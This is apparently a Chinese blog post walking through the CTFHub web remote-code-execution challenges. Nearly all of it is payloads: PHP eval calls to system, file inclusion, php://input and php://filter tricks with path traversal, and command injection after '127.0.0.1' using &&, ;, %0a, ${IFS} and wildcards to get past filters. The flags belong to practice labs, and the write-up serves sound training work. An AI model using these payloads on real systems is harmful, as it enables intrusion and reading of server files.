ctfhub技能树 web rce

最新推荐文章于 2024-10-03 17:08:59 发布

mushangqiujin

最新推荐文章于 2024-10-03 17:08:59 发布

阅读量133

点赞数

分类专栏： ctfshow通关文章标签： php 开发语言网络安全

本文链接：https://blog.csdn.net/m0_62207170/article/details/130457656

版权

38 篇文章 4 订阅

订阅专栏

文章详细介绍了在CTF（CaptureTheFlag）竞赛中常见的几种利用payload执行系统命令的技术，包括eval执行、文件包含、php://input的使用，以及如何应对各种过滤策略，如过滤cat、空格、目录分隔符和运算符等。这些技巧展示了黑客可能利用的安全漏洞以及防御措施。

摘要由CSDN通过智能技术生成

在这里插入图片描述
payload:

查看文件
cmd=system('ls');
读取flag
cmd=system('cat /flag_12119');

在这里插入图片描述
shell.txt

payload:

file=shell.txt&ctfhub=system(%27ls%20/%27);
file=shell.txt&ctfhub=system(%27cat%20/flag%27);

在这里插入图片描述
一定要有php://有两种
php://input
php://filter
paylaod:
file=php://input

file=php://input
post传入
<?php system('ls /')?>
<?php system('cat /flag_6888')?>

在这里插入图片描述
一定要有php://有两种
php://input
php://filter
php://input用不了
payload：

file=php://filter/read=convert.base64-encode/reousrce=../../../flag
flag base解码即可

在这里插入图片描述

payload:

file=php://input
post传入
<?php system('cat /fl*')?>

在这里插入图片描述
payload:

127.0.0.1&&ls
127.0.0.1&&cat  25906629931640.php

payload:

127.0.0.1&&ls
127.0.0.1&&tac   flag_60971518225317.php

payload:

127.0.0.1&&ls
127.0.0.1&&tac${IFS}flag_138002540310008.php

在这里插入图片描述
paylaod：

127.0.0.1&&ls
127.0.0.1;cd flag_is_here;cat flag_139192016711116.php
127.0.0.1&&cd flag_is_here&&cat flag_139192016711116.php

在这里插入图片描述
payload:

127.0.0.1;ls
127.0.0.1;cat flag_15470222637038.php

在这里插入图片描述
paylaod:

127.0.0.1%0als${IFS}fl??_is_here
127.0.0.1%0atac${IFS}fl??_is_here${PWD:0:1}fl*

参考文章：
ctfhub rce

关注

专栏目录